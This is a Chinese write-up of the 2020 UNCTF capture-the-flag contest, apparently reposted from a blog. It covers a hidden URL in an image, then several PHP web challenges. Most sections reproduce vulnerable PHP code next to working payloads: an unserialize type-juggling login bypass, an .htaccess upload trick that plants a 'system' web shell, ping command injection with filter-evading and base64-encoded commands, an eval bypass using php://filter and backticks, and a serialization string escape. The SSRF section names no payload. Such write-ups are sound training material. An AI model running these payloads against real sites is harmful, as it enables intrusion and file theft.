misc
簽到題
下載附件之后是一張圖片,打開方式選擇記事本,在最后一行會發現一行網址,瀏覽器訪問它可以在評論區找到flag,
web
一、ezphp
<?php
show_source(__FILE__);
$username = "admin";
$password = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}
需要username和password反序列化,并且要post data
由此構造payload:
data=a:2:{s:8:"username";b:1;s:8:"password";b:1;}
二、easy_upload
打開題目是一個上傳界面
隨便上傳一個jpg格式的木馬檔案,出現報錯,
上傳一個.htaccess檔案,添加決議,敏感字符采用換行拼接繞過
檔案內容:
AddType application/x-httpd-p\
hp .ppt
burpsuit抓包,將型別改為image/jpeg繞過檢測
再上傳一個.ppt檔案
內容:
GIF89a
<?=system('cat /flag');
go之后會發現upload/一串地址
訪問上述地址加上檔案名得到flag
三、un_onlinetool
打開是一個ping的界面,嘗試了一些字符會出現例外字符的提示,用127.0.0.1|ls一下,列出當前目錄檔案,出現index.php,再127.0.0.1|ca\t<index.php
出現原始碼:
<?php
if (isset($_GET['url'])){
$ip=$_GET['url'];
if(preg_match("/(;|'| |>|]|&| |\\$|\\|rev|more|tailf|head|nl|tail|tac|cat|rm|cp|mv|\*|\{)/i", $ip)){
die("<strong><center>非法字符</center></strong>");
}
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("<strong><center>非法字符</center></strong>");
}
$a = shell_exec("ping -c 4 ".$ip);
echo($a);
過濾了很多字符和命令
payload:
|`echo%09Y2F0IC9mbGFn%09|%09base64%09-d%09`
中間是將cat /flagbase64編碼
得到flag
四、easy_ssrf
<?php
echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
$url=file_get_contents($url);
echo($url);
}else{
echo('error!!');
}
}else{
echo("error");
}
?>
看了大佬的wp,這道題其實很簡單,用一個穿越繞過就可以,之前也做過類似的題目,但是積累不夠,一時之間沒有想到這種方法,具體payload:

五、babyeval
<?php
// flag在flag.php
if(isset($_GET['a'])){
if(preg_match('/\(.*\)/', $_GET['a']))
die('hacker!!!');
ob_start(function($data){
if (strpos($data, 'flag') !== false)
return 'ByeBye hacker';
return false;
});
eval($_GET['a']);
} else {
highlight_file(__FILE__);
}
?>
get一個a,并且a中不能有包含括號的函式,而且不可以直接輸出flag
代碼中涉及到的strpos函式:

關于命令執行可以用include傳參繞過的方式
構造payload
?a=include"$_POST[b]"?>
b=php://filter/read=convert.base64-encode/resource=flag.php
基于題解可以試一下用短標簽繞過
?a=?><?=`base64 flag.php`?>
同樣得到base64編碼后的flag.php
七、easyunserialize
<?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('challenge','easychallenge',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
反序列化字串逃逸
先是password===easy序列化后"s:8:"password";s:4:"easy";
封裝構造一下
";s:8:"password";s:4:"easy"};這里是29個字符,根據后面需要用easy替換challenge,所以至少需要八個challenge,這樣就是32個,后面再補三個字符就可以了,
payload:?1=challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}abc
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/224187.html
標籤:其他
